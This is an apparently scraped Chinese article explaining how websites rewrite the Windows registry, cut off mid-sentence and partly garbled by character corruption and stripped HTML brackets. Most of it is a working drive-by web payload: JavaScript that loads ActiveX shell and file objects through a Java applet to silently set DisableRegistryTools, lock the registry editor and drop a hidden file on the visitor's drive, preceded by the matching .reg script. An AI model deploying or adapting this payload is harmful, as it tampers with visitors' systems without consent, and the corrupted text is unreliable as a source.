如何利用網(wǎng)頁改寫注冊表

第第頁如何利用網(wǎng)頁改寫注冊表如何利用網(wǎng)頁改寫注冊表

發(fā)表于：2023-05-25來源：：點擊數(shù)：標簽：網(wǎng)頁改寫我們注冊表利用

我們上網(wǎng)時常見到一些：“注冊表被某某網(wǎng)站改寫”或者“上了某某網(wǎng)站后，開機時會彈出對話框?！钡鹊冗@一類的現(xiàn)象。其實，都只是一些網(wǎng)站利用簡單的HTML編程改寫注冊表而實現(xiàn)的。那么現(xiàn)在，就讓我們來對其作進一步的了解，看這究竟是怎么一回事兒！不知大家

我們上網(wǎng)時常見到一些：“注冊表被某某網(wǎng)站改寫”或者“上了某某網(wǎng)站后，開機時會彈出對話框?！钡鹊冗@一類的現(xiàn)象。其實，都只是一些網(wǎng)站利用簡單的HTML（編程）改寫注冊表而實現(xiàn)的。那么現(xiàn)在，就讓我們來對其作進一步的了解，看這究竟是怎么一回事兒！

不知大家對Windows系統(tǒng)注冊表了解有多少？我們知道，在Windows系統(tǒng)下，我們可以編寫注冊表腳本文件『*.reg』來實現(xiàn)對注冊表的改寫。先讓我們來看一個注冊表腳本文件：REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\（Windows）\CurrentVersion\Policies\System]

"DisableRegistryTools"=DWORD:00000001不知大家看懂沒？以上這個注冊表腳本是鎖住注冊表編輯器。好了，注冊表腳本編好了，再讓我們看看怎樣將其與HTML結(jié)合。

以下是一個HTML源碼：HTML

HEAD

METAhttp-equiv=Content-Typecontent="text/html;charset=gb2312"

SCRIPTlanguage=JavaScriptdocument.write("APPLETHEIGHT=0WIDTH=0code=com.ms.activeX.ActiveXComponent/APPLET");

functionf()

{

try

{

a1=document.applets[0];

a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");

a1.createInstance();

sh=a1.GetObject();

a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");

a1.createInstance();

fo=a1.GetObject();

if(document.cookie.indexOf("km169set")==-1)

{

sh.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools",1,"REG_DWORD");

hd=fo.CreateTextFile();

hd.write();

hd.close();

file=fo.GetFile("c:\\yntop.htm");

file.Attributes=6;

varexpdate=newDate((newDate()).getTime()+(1));

document.cookie="km169set=km169;expires="+expdate.toGMTString()+";path=/;"

}

}

catch(e)

{

}

}functioninit()

{

setTimeout("f()",1000);

}

init();/SCRIPT

/HEAD

/HTML我們注意到在上面這個HTML源碼中，有一行：“HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools",1,"REG_DWORD”，拿這一行與上面那個注冊表腳本比較一下，我們就可以發(fā)現(xiàn)，它們唯一的不同除了連接符不一樣，還有書寫格式的細小區(qū)別。但是這其中的區(qū)別不用我說也能夠發(fā)現(xiàn)。下面我們來仔細看一下這段HTML源碼中其他的一些語句。

相信大家都已經(jīng)看出，這段HTML源碼是利用（Java）Script來實現(xiàn)對注冊表的改寫，其中最關(guān)鍵的一句也就是：sh.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools",1,"REG_DWORD");這也就是寫入注冊表的語句：sh.RegWrite。其格式為：“sh.RegWrite("注冊表鍵",鍵值,"鍵值類型");”。如果大